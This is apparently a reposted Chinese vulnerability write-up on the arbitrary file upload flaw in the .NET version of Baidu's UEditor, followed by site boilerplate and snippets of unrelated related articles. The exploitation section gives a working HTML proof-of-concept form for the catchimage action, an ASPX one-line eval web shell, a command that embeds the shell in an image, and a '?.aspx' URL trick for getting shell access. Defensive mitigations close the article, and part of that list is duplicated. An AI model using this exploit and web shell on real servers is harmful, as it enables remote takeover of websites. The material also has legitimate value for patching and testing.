UEditor 任意文件上传漏洞

1 漏洞简介

1.1 漏洞描述

Ueditor是百度开发的一个网站编辑器,目前已经不对其进行后续开发和更新,该漏洞只存在于该编辑器的.net版本。其他的php,jsp,asp版本不受此UEditor的漏洞的影响,.net存在任意文件上传,绕过文件格式的限制,在获取远程资源的时候并没有对远程文件的格式进行严格的过滤与判断。

1.2 影响范围

该漏洞影响UEditor的.Net版本,其它语言版本暂时未受影响。
  • 1

1.3 漏洞原理

漏洞的成因是在获取图片资源时仅检查了ContentType,导致可以绕过达到任意文件上传。

2 环境搭建

打开官网,点击历史版本,是百度网盘,选择1.4.3.3的net utf8版本,即
ueditor1_4_3-utf8-net.zip
  • 1
  • 2

网盘链接: https://pan.baidu.com/s/1ntG3Tsl#list/path=%2F,

**asp(.net)**环境安装,win2008,漏洞版本只支持.net 4.0,选择net4.0

下载之后运行,然后进行配置,配置参考以下链接

参考链接:
http://fex.baidu.com/ueditor/#server-net
  • 1
  • 2
  • 3

下载好之后,解压,将代码放在网站根目录下,访问net/controller.ashx 控制器文件。当出现下图的时候表示编辑器成功运行,且漏洞存在

在这里插入图片描述

3 漏洞分析

控制器中存在多个动作的调用,包含了uploadimage、uploadscrawl、uploadvideo、uploadfile、catchimage等等

在这里插入图片描述

这些动作默认情况下都可以远程访问,重点来介绍catchimage这个分支条件,由于它实例化了CrawlerHandler这个类,所以需要跟进这个一般处理程序类

在这里插入图片描述

第一行就获取了外界传入的source[] 数组,核心调用位于 Crawlers = Sources.Select(x=> new Crawler(x, Server).Fetch()).ToArray(); 通过这段lambda表达式来调用类里的方法执行后的结果 ,如下图跟进Fecth方法体内

在这里插入图片描述

首先通过IsExternalIPAddress方法判断是否是一个可被DNS解析的域名地址,如果不是就终止运行,逻辑代码如下

在这里插入图片描述

攻击者需要提供一个正常的域名地址就可以绕过此处判断;然后进入第二个条件判断 : 对文件ContentType的识别

在这里插入图片描述

这段代码很眼熟,一般常见于php文件上传的时候对文件头的判断,这段代码很容易绕过,只需要构造一张图片马儿就可以绕过它的判断,或者构造一个gif89的假图片也可以绕过;最后编辑器根据配置文件的信息创建对应的目录结构再保存文件,代码如下

在这里插入图片描述

4 漏洞验证

漏洞路径:controller.ashx?action=catchimage

漏洞利用:上传图片马到目标站点或者其他可以上传图片马的地址: http://目标站点/upload/1.gif, 远程shell地址需要指定扩展名为 http://目标站点/upload/1.gif?.aspx

1、本地构造一个html,页面用于上传使用

因为不是上传漏洞所以enctype 不需要指定为multipart/form-data , 之前见到有poc指定了这个值。完整的poc如下

<form action="http://xxxxxxxxx/controller.ashx?action=catchimage" enctype="application/x-www-form-urlencoded"  method="POST">

<p>shell addr: <input type=“text” name=“source[]” /></p >

<input type=“submit” value=“Submit” />

</form>

  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7

其中【http://xx.com】填写你要测试的网站地址,action后填写路径为实际中遇到的路径,不要太死板,如果太死板不按网站的实际路径来就会出现这种路径找不到的错误。

即:

shell addr:

准备一台服务区存放图片马或者需要上传的文件,只要绕过【image】检测就可以正常上传到目标服务器了,从而进一步getshell

制作图片马

Aspx一句话

<% @Page Language=“Jscript”%><%eval(Request.Item[“pass”],“unsafe”);%>

copy 1.JPG/b + 1.aspx/a ueditor.jpg

复制当前目录下的1.jpg图片和当前目录下的1.aspx文件并以ASCII代码的方式合并为 ueditor.jpg图片

在这里插入图片描述

本地打开构造的恶意html

在这里插入图片描述

服务器上的图片马
在这里插入图片描述

shell addr 处填写服务器上图片马地址,构造成以下格式,绕过上传使其解析为 aspx

http://xxxx/ueditor.jpg?.aspx

复制图片马网站链接到构造的html中,如下图:

在这里插入图片描述

点击submit,直接上传成功,并返回我们的aspx脚本木马路径地址``

在这里插入图片描述

2、直接post上传图片马,post内容写图片马的url

post 数据为:
source[]=https://s1.ax1x.com/2018/04/11/CkFSrn.jpg?.aspx(此处随便上传的图片,作为测试,主要是验证可以被解析为aspx文件)

在这里插入图片描述

如果你没有绕过【image】检测的话,就会显示如下提示:

在这里插入图片描述

成功则访问图片马,注意访问的时候是配置里面的路径,根据个人情况进行路径调整
在这里插入图片描述

Poc验证

在这里插入图片描述

在这里插入图片描述

5 漏洞总结及防御方案

总结:

攻击者可以上传任意文件包括脚本执行文件,包括aspx脚本木马,asp脚本木马,还可以利用该UEditor漏洞对服务器进行攻击,执行系统命名破坏服务器

防御方案:

1.目前临时的漏洞修复是建议,把文件上传目录设置无脚本执行权限,uploadvideo、uploadimage、catchimage、uploadscrawl、uploadfile、等等目录都设置上无脚本权限。

2.在百度UEditor官方没有出补丁前,设置图片目录为只读,禁止写入。

3.检查文件上传路径下是否有近期上传的畸形图片;检查是否存在asp,aspx等类型危险文件。如果发现异常文件,请判断后及时删除。

4.修改程序的源代码,对crawlerhandler源文件进行文件上传格式的严格过滤与判断。

image、uploadscrawl、uploadfile、等等目录都设置上无脚本权限。

2.在百度UEditor官方没有出补丁前,设置图片目录为只读,禁止写入。

3.检查文件上传路径下是否有近期上传的畸形图片;检查是否存在asp,aspx等类型危险文件。如果发现异常文件,请判断后及时删除。

4.修改程序的源代码,对crawlerhandler源文件进行文件上传格式的严格过滤与判断。

参考链接

https://www.freebuf.com/vuls/181814.html
https://www.cnblogs.com/Ivan1ee/p/10198866.html

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/358406.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

HDU 3072 SCC Intelligence System

给出一个带权有向图&#xff0c;要使整个图连通。SCC中的点之间花费为0&#xff0c;所以就先缩点&#xff0c;然后缩点后两点之间的权值为最小边的权值&#xff0c;把这些权值累加起来就是答案。 1 #include <iostream>2 #include <cstdio>3 #include <algorith…

再见,Springboot和SpringCloud

Java中说到微服务肯定离不开Spring Boot和Spring Cloud&#xff0c;这两者到底有什么关系&#xff0c;什么是微服务&#xff0c;如果单纯的说SpringBoot&#xff0c;SpringCloud&#xff0c;都是不准确的&#xff0c;那应该怎么回答。官网对于Spring Boot的介绍Spring Boot mak…

通过暴露出来的OA和github信息拿Shell

本文转载于https://xz.aliyun.com/t/10392 记一次授权渗透测试 一&#xff1a;信息收集阶段 因为目标是学校&#xff0c;一般会去考虑收集学号&#xff0c;教工号。因为有的登陆点需要此类信息&#xff0c;且密码存在规律性&#xff08;身份证后六位&#xff0c;123456&#xf…

手机上可以编程看代码的软件

以后大家会在路上看到很多人拿着手机,他不是在聊天,他有可能是运维工程师、也可能是算法开发、也可能是java开发,还可能是客户端开发,也可能是前端开发... 让你编程一直在路上,这到底是程序员的福音,还是码农的枷锁。 粉丝提问: 这里介绍几款可以在手机上编程的app,分…

给你的执行力马上充值

“执行力就是在既定的战略和愿景的前提下,组织对内外部可利用的资源进行综合协调,制定出可行性的战略,并通过有效的执行措施从而最终实现组织目标、达成组织愿景的一种力量。执行力是一个变量,不同的执行者在执行同一件事情的时候也会得到不同的结果。执行力不但因人而异,而且还…

性能,可伸缩性和活力

本文是我们学院课程中名为Java Concurrency Essentials的一部分 。 在本课程中&#xff0c;您将深入探讨并发的魔力。 将向您介绍并发和并发代码的基础知识&#xff0c;并学习诸如原子性&#xff0c;同步和线程安全之类的概念。 在这里查看 &#xff01; 目录 1.简介 2.表现…

BurpSuite v2021.8.2安装使用

文章前言 几个月之前&#xff0c;Burpsuit官方发布了BurpSuite v2021.8.2&#xff0c;但是迟迟没有时间来试试手&#xff0c;正好借着这次调休的时间来写写文章&#xff0c;顺便更新一下Burpsuite 软件下载 天翼云盘 极速安全 家庭云|网盘|文件备份|资源分享 软件安装 Step 1&a…

程序员赚钱资源汇总,结合自己亲身经历

知识计算机知识深入理解计算机系统-必修课&#xff0c;NB学校的NB课程的NB教材代码大全-&#xff08;不要被这个名字吓到&#xff0c;英文叫做 Code complete&#xff09;微软的书&#xff0c;几乎可以当作是软件工程的百科全书。很少有人完全精通甚至完成这本书中所有部分的学…

逍遥模拟器配置burpsuite抓包环境

电脑与逍遥模拟器处于同一网段&#xff0c;在burpsuite中设置代理&#xff1a; 之后在逍遥模拟器中设置网络代理 之后直接下载下面的证书并且将其拖放到逍遥模拟器中&#xff1a; 证书下载地址&#xff1a; 链接&#xff1a;https://pan.baidu.com/s/1qJmcKcVj3NqmrWKf6zb83g …

OC本学习笔记Foundation框架NSString与NSMutableString

一、NSString与NSMutableString 相信大家对NSString类都不陌生。它是OC中提供的字符串类。它的对象中的字符串都是不可变的&#xff0c;而它的子类NSMutableString类的对象中的字符串就是可变的。什么是可变与不可变呢&#xff1f;二者的差别就是在已经创建的一个字符串…

phpMyAdmin渗透利用总结

phpMyAdmin渗透利用总结 前言 总结一下常见的phpmyadmin的漏洞利用姿势 简介 phpMyAdmin 是一个以PHP为基础&#xff0c;以Web-Base方式架构在网站主机上的MySQL的数据库管理工具&#xff0c;让管理者可用Web接口管理MySQL数据库。借由此Web接口可以成为一个简易方式输入繁杂…

SQL之条件判断专题

Case when (case when 情况1 then 结果1 when 情况1 then 结果1 else &#xff0b;剩余结果 end ) 列名 IF表达式 IF(判断内容&#xff0c;0&#xff0c;1) SELECT IF( sex1&#xff0c;男 &#xff0c;女 )sex from student IFNULL表达式 IF(判断内容&#xff0c;x) 假如判…

Struts2漏洞和Struts Scan工具实战

一、Apache Struts 2漏洞背景 1.漏洞详情 2017年3月6日&#xff0c;Apache Struts 2被曝存在远程命令执行漏洞。在使用基于Jakarta插件的文件上传功能条件下&#xff0c;恶意用户可以通过修改HTTP请求头中的Content-Type值构造恶意代码&#xff0c;在服务器上执行系统命令&…

2020年前端招聘技术概览

学习当下前端技术最好的方法就是从求职网站上找出前端的招聘要求&#xff0c;因为前端技术每年变化都很快&#xff0c;每个阶段都会不一样&#xff0c;这里简单从网站招聘要求罗列&#xff0c;仅供参考。更有针对性的是针对每个公司的招聘要求写简历&#xff0c;学习相关技术&a…

jexboss工具 -- JBOSS未授权访问漏洞利用

其实所有的节日&#xff0c;都不是为了礼物和红包而生&#xff0c;而是提醒我们不要忘记爱与被爱&#xff0c;生活需要仪式感&#xff0c;而你需要的是在乎和关爱。。。 ---- 网易云热评 小受&#xff1a;Ubuntu20 小攻&#xff1a;Kali2020 一、搭建该漏洞环境 查看上一篇文章…

前端工程师有哪些面试技巧值得掌握?

这段时间受到疫情的影响&#xff0c;本身做java开发的&#xff0c;面试了入职了一个外包公司的前端岗位&#xff0c;入职属于驻场开发的那种&#xff0c;前几周基本没啥事&#xff0c;一般经理会让你刷题&#xff0c;到了驻场那边需要机试过关才能在那边开发&#xff0c;这边在…

Fastjson批量检查及一键利用工具

0x01 序章 上次讲解过手动利用fastjson&#xff0c;但讲的过于太简单了。根据大家的反应&#xff0c;收集如下几个问题。 1、如何盲打fastjson 2、判断fastjson的指纹 3、各版本payload以及使用ldap模式监听。 下面我就一一解答&#xff0c;我只是把我在网上查到的资料消化 后分…

动态规划--重拾我的“背包”

前言&#xff1a; 背包问题所涉及的是经典的动态规划算法。因为长时间不AC了&#xff0c;渐渐感觉思维也都麻了&#xff01;本文将基础的背包问题做个小结&#xff0c;方便以后翻阅。感兴趣的朋友也可以阅读一下~------------------------&#xff08;1&#xff09;如何从n个重…

Java 8 SE可选,严格的方法

大约两周前&#xff0c;Stephen Colebourne提出了使用Optional的实用方法 。 如果您阅读了它&#xff0c;您可能会从我以前的建议中猜到我不同意。 总览 我必须以免责声明开头&#xff0c;但随后我将直接解释为什么我认为他的方法不够理想。 所有不归因于他人的报价均摘自Ste…

routersploit简单实例

https://github.com/reverse-shell/routersploit RouterSploit。它包含了27个品牌的上百种漏洞利用模块&#xff0c;涉及的路由器、摄像头等设备有几百种。渗透的时候&#xff0c;用户首先根据目标设备的品牌选择对应的扫描模块&#xff0c;用以发现漏洞。一旦漏洞识别&#x…